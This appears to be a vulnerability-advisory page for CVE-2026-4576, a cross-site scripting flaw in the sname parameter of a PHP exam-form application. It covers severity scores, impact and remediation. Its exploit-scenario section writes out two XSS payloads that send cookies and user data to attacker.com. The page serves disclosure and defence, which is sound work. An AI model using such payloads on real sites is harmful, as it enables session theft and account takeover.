EUVD-2026-14369Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS 3.1 base score of 2.4 appears low, multiple contextual factors elevate real-world concern: the attack vector is Network (AV:N) with Low complexity (AC:L), meaning no special conditions are required for delivery; however, High privilege requirements (PR:H) and Required User Interaction (UI:R) significantly limit the threat. The CVSS vector shows Exploitability Proof-of-concept (E:P) status, confirming public availability of working code on GitHub. The SSVC framework assessment would categorize this as low-priority given the privilege and interaction requirements, but the publicly disclosed POC and remote network-accessible endpoint suggest motivated attackers with administrative access could leverage this. The impact is limited to Integrity (I:L) with no Confidentiality or Availability impact, further reducing severity. Real-world risk is moderate: this is primarily a concern for organizations where admin accounts are compromised or where internal administrative users cannot be fully trusted, rather than an externally exploitable critical flaw. |
| Exploit ScenarioDerived | An attacker with administrative credentials (compromised account, insider threat, or social engineering) logs into the Exam Form Submission application and navigates to the update_s5.php admin function. They inject a malicious payload such as sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> or sname=<img src=x onerror="fetch('https://attacker.com/log?user='+document.currentUser)">. When other administrators or users visit the updated exam submission page, the injected script executes in their browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect them to phishing pages. Public POC code demonstrating this attack is available on GitHub at https://github.com/rockycheng1/cve/issues/4. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
A Stored or Reflected Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, specifically in the /admin/update_s5.php file where the 'sname' parameter is not properly sanitized. An authenticated attacker with high privileges can inject malicious JavaScript code through this parameter, which will execute in the context of other users' browsers when they interact with the affected page. A public proof-of-concept exploit is available on GitHub, and the vulnerability has a low CVSS score of 2.4 due to high privilege requirements and user interaction dependency, but the public disclosure increases practical exploitation likelihood.
RemediationAI
The primary remediation is to apply vendor patches when available from code-projects.org. Until patching is possible, implement output encoding by modifying /admin/update_s5.php to use htmlspecialchars($sname, ENT_QUOTES, 'UTF-8') or similar HTML entity encoding functions before displaying the 'sname' parameter in any HTML context. Additionally, implement Content Security Policy (CSP) headers with script-src directives to mitigate XSS impact, enforce HTTPS-only connections for administrative interfaces, and implement strict access controls limiting /admin/ directory access to trusted administrative users only via IP whitelisting or VPN. Input validation should reject or sanitize any sname values containing HTML metacharacters. Refer to VulDB references at https://vuldb.com/?id.352413 for updated patch information once available from the vendor.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic web application flaw where user-controlled input is reflected or stored in HTML output without proper encoding or sanitization. The affected product is code-projects Exam Form Submission (CPE: cpe:2.3:a:code-projects:exam_form_submission:*:*:*:*:*:*:*:*), a PHP-based web application for managing exam submissions. The vulnerable endpoint /admin/update_s5.php accepts a 'sname' parameter that is directly incorporated into the page output without HTML entity encoding, allowing injection of script tags or event handlers. This is a PHP-based application, meaning the vulnerability likely stems from missing use of functions like htmlspecialchars() or htmlentities() when rendering user input in HTML context.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability has been found in code-projects Exam Form Submission 1.0. Impacted is an unknown function of the file /admin/update_s5.php. Such manipulation of the argument sname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Executive ViewAI
CVE-2026-4576 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 2.4). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in code-projects Exam Form Submission XSS Flaws
View all 2More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
Exploit-DB